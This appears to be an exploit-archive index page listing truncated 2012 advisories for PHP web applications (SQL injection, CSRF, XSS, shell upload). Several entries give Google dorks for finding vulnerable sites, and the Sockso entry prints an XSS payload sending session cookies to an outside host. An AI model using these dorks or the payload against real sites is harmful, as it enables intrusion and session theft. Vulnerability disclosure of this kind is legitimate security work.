Supernews 2.6.1 - SQL Injection

Supernews 2.6.1 - SQL Injection ?php Exploit Title: Supernews = 2.6.1 SQL Injection Exploit Google Dork: intext:"2003 - 2004 : SuperNews : Todos os direitos reservados" Date: 2012/ Author: WhiteCollarGroup Software Link: http://phpbrasil.com/script/vT0FaOCySSH/supernews Version: 2.6.1 Tested on:...

Supernews 2.6.1 - SQL Injection

?php Exploit Title: Supernews = 2.6.1 SQL Injection Exploit Google Dork: intext:"2003 - 2004 : SuperNews : Todos os direitos reservados" Date: 2012/ Author: WhiteCollarGroup Software Link: http://phpbrasil.com/script/vT0FaOCySSH/supernews Version: 2.6.1 Tested on: Debian GNU/Linux / Exploit for...

Axous 1.1.1 - Cross-Site Request Forgery / Persistent Cross-Site Scripting

+-----------------------------------------------------------------------------------------------------------+ Exploit Title : Axous 1.1.1 Multiple Vulnerabilities CSRF - Persistent XSS Date : 30-04-2012 Author : Ivano Binetti http://www.ivanobinetti.com Software link :...

Sockso 1.51 Cross Site Scripting

Application: Sockso http://sockso.pu-gh.com Versions: alert'xss'; Or the admin cookie session can also be retrieved by using... new Image.src="bleh.com/xss.php?c="+encodeURIdocument.cookie...

PHP Enter Code Injection

Exploit Title : Php Enter Php Code Injection Author : IrIsT.Ir & Sec4Ever.com Discovered By : L3b-r1'z Home : http://IrIsT.Ir & http://Sec4Ever.com P Blob : http://L3b-r1z.com/ Software Link : http://www.phpenter.net/ Security Risk : High Version : beta Tested on : win\XP Dork : allintext: "Power...

Car Portal CMS 3.0 - Multiple Vulnerabilities

Title: ====== Car Portal CMS v3.0 - Multiple Web Vulnerabilities Date: ===== 2012-04-24 References: =========== http://www.vulnerability-lab.com/getcontent.php?id=502 VL-ID: ===== 502 Introduction: ============= Car Portal is a php software product for running auto classifieds websites. It provid...

Car Portal CMS 3.0 - Multiple Vulnerabilities

Car Portal CMS 3.0 - Multiple Vulnerabilities Title: ====== Car Portal CMS v3.0 - Multiple Web Vulnerabilities Date: ===== 2012-04-24 References: =========== http://www.vulnerability-lab.com/getcontent.php?id=502 VL-ID: ===== 502 Introduction: ============= Car Portal is a php software product fo...

Car Portal CMS 3.0 CSRF / XSS / Shell Upload

Title: ====== Car Portal CMS v3.0 - Multiple Web Vulnerabilities Date: ===== 2012-04-24 References: =========== http://www.vulnerability-lab.com/getcontent.php?id=502 VL-ID: ===== 502 Introduction: ============= Car Portal is a php software product for running auto classifieds websites. It provid...

osCmax Shop CMS v2.5.1 - Multiple Web Vulnerabilities

Title: ====== osCmax Shop CMS v2.5.1 - Multiple Web Vulnerabilities Date: ===== 2012-04-08 References: =========== http://www.vulnerability-lab.com/getcontent.php?id=497 VL-ID: ===== 497 Introduction: ============= osCMax is a powerful e-commerce/shopping cart web application. There are many...

Car Portal CMS v3.0 - Multiple Web Vulnerabilities

Document Title: =============== Car Portal CMS v3.0 - Multiple Web Vulnerabilities References Source: ==================== http://www.vulnerability-lab.com/getcontent.php?id=502 Release Date: ============= 2012-04-23 Vulnerability Laboratory ID VL-ID: ==================================== 502...

Clickee CMS SQL Injection Vulnerability

Exploit for php platform in category web applications Exploit Title: Clickee CMS Vuln Sqli Vendor: http://www.clickee.com/ Date: 18/04/2012 Author: xDarkSton3x Dork: intext:Design by Estilo y Diseño - www.estilod.com - intext:Design by Estilo y Diseño - www.clickee.com E-mail : email protected...

osCmax Shop CMS 2.5.1 Cross Site Scripting

Title: ====== osCmax Shop CMS v2.5.1 - Multiple Web Vulnerabilities Date: ===== 2012-04-08 References: =========== http://www.vulnerability-lab.com/getcontent.php?id=497 VL-ID: ===== 497 Introduction: ============= osCMax is a powerful e-commerce/shopping cart web application. There are many...

Pyme-Web SQL Injection Vulnerability

Exploit for php platform in category web applications Exploit Title: Pyme-Web SQL Injection Vulnerability Date: 04/04/2012 Author: Daniel Godoy Author Mail: DanielGodoyatGobiernoFederaldotcom Author Web: www.delincuentedigital.com.ar Software: Pyme-Web http://www.pyme-web.com.ar/pw/index.php Test...

lifetype 1.2.11 CSRF Add User

Exploit for php platform in category web applications +---------------------------------------------------------------------------------------------------------------------------------------+ Exploit Title := lifetype 1.2.11 CSRF Add User Date := 05/april/2012 Author := khaled-Ham Software link :...

Meinfoway - SQL Injection Vulnerability

Exploit for php platform in category web applications ========================================================================== Meinfoway - SQL Injection Vulnerability ========================================================================== Title: Meinfoway - SQL Injection Vulnerability Author...

Site Go - multiple Vulnerabilities

Exploit for php platform in category web applications Exploit Title: Site Go - multiple Vulnerabilities D0rk: allintitle: "بوابة التدوين" Date: 12.mar.29 Author: L3b-r1'z Email Me : email protected \ email protected Security : Low Xss Vuln : in search b0x , you can put alert"Sec3ever" And you wil...

AJ HYIP CSRF Vulnerability

Exploit for php platform in category web applications Exploit Title: AJ HYIP CSRF Author: Jonturk75 Vendor or Software Link: http://www.scripts.com/viewscript/aj-hyip-advanced-latest-hyip-script/18816/ Category:: webapps Demo : http://www.ajhyip.com/demo/meridian/admin/index.php Greetz: Inj3ct0r...

Tim Hendriks Content Management System SQL Injection

Exploit Title: Content-Management-System Remote SQL Injection news.php Script Page : http://tim-hendriks.com Date: 24-3-2012 Version: Version 2.1 Author : Ali.Erroor Tested on: Firefox 8.0, Palemoon 8.0, Internet Explorer 9 Mail: [email protected] Web Site : www.anti-network.net Injection Point ...

LiteSpeed 4.1.11 Cross Site Scripting

Hey, so i decided to open this blog with with a post about a vulnerability I’ve found quite some time ago in LiteSpeed HTTP server Basically a simple reflected XSSCross Site Scripting in the administrator panel which is another instance of the HTTP server running on port 7080 If an attacker succe...

Pre Printing Press SQL Injection

======================================================================================== | Title : Pre Printing Press productdesc.php pid SQL Injection Vulnerability | Author : Easy Laster | Script : Pre Printing Press | Price : $999 | Exploitation : remote | Bug : SQL Injection | Date : 18.03.20...